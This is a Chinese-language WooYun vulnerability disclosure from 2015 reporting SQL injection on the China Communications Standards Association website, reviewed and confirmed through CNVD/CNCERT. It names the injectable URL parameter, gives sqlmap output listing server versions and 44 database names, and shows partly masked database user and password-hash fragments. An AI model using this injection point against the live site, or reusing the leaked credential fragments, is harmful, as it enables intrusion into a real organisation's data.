当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-095356

漏洞标题：中国通信标准化协会一枚sql注入

相关厂商：cncert国家互联网应急中心

漏洞作者： 阿文

提交时间：2015-02-04 14:01

修复时间：2015-03-21 14:02

公开时间：2015-03-21 14:02

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-04： 细节已通知厂商并且等待厂商处理中
2015-02-09： 厂商已经确认，细节仅向厂商公开
2015-02-19： 细节向核心白帽子及相关领域专家公开
2015-03-01： 细节向普通白帽子公开
2015-03-11： 细节向实习白帽子公开
2015-03-21： 细节向公众公开

简要描述：

中国通信标准化协会主站sql注入

详细说明：

中国通信标准化协会高危SQL注射，全库泄露
注入地址：http://www.ccsa.org.cn/tc/index.php?tcid=

[08:57:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0
[08:57:16] [INFO] fetching database names
[08:57:16] [INFO] the SQL query used returns 44 entries
available databases [44]:                                                      
[*] article
[*] auth
[*] ccsa_access_log
[*] ccsadoc
[*] client_update
[*] customer
[*] del_mladvert
[*] del_ptpic
[*] del_pw_log
[*] del_style
[*] del_test
[*] del_tmparticle
[*] doc
[*] fileopen
[*] ftpusers
[*] good_member
[*] gsc15
[*] information_schema
[*] IOofCOM
[*] jiaoliu
[*] log
[*] logs
[*] lost+found
[*] maintain
[*] meeting
[*] ml4ccsa
[*] ml4ptsn
[*] mnogosearch
[*] mysql
[*] phpmyadmin
[*] prod
[*] prodex
[*] questionnaire
[*] sales
[*] shenbao
[*] std
[*] std_temp
[*] stdcd
[*] tc485
[*] test
[*] tlc
[*] tspc
[*] userstd
[*] vpopmail

漏洞证明：

mask 区域 
*****tem users pa*****
*****h_rd*****
*****: 300582b*****
*****h_rw*****
*****: 7363df4*****
*****kup *****
*****: 6360f4a*****
*****a_rd*****
*****: 694bf0e*****
*****a_rw*****
*****: 0bbe89a*****
*****_rd *****
*****: 6f8c7ba*****
*****_rw *****
*****: 67c4ea1*****
*****tp *****
*****: 6549253*****
*****osrv*****
*****: 1c9c800*****
*****_rd *****
*****: 408efbf*****
*****_rw *****
*****: 32a437f*****
*****ser [*****
*****: 14780cf*****
*****_rw [*****
*****: 7f38034*****
*****min [*****
*****: 6fc780f*****
*****srv [*****
*****: 6c90aa2*****
*****g [1*****
*****: 06988dd*****
*****uct [*****
*****: 32099b9*****
*****pic *****
*****: 7733592*****
*****qc [*****
*****: 0107187*****
*****_auth*****
*****: 57cf2b7*****
*****d_rd*****
*****: 7ac54f8*****
*****d_rw*****
*****: 3d4faeb*****
*****ic [*****
*****: 0206b55*****
*****_rd [*****
*****: 34bba4f*****
*****_rw [*****
*****: 5b85aec*****
*****c [1*****
*****: 6ec627e*****
*****c_rd*****
*****: 58eba2f*****
*****c_rw*****
*****: 326fd13*****
*****auth *****
*****: 362f299*****
*****dall*****
*****: 13f162a*****
*****t [1*****
*****: 0af4727*****
*****uli *****
*****: 1f1d533*****
*****i_rd *****
*****: 472c940*****
*****i_rw *****
*****: 5bd622e*****
*****_rd *****
*****: 12e8cd2*****
*****_rw *****
*****: 4b31b6b*****
*****min [*****
*****: 0c979a9*****
*****buser*****
*****: 0c979a9*****
*****td_rw*****
*****: 57aec99*****
*****ail [*****
*****: 38755f1*****


修复方案：

过滤

版权声明：转载请注明来源 阿文@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-02-09 10:53

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向中国通信标准化协会工作组人员通报，由其后续协助调网站管理单位处置。

最新状态：

暂无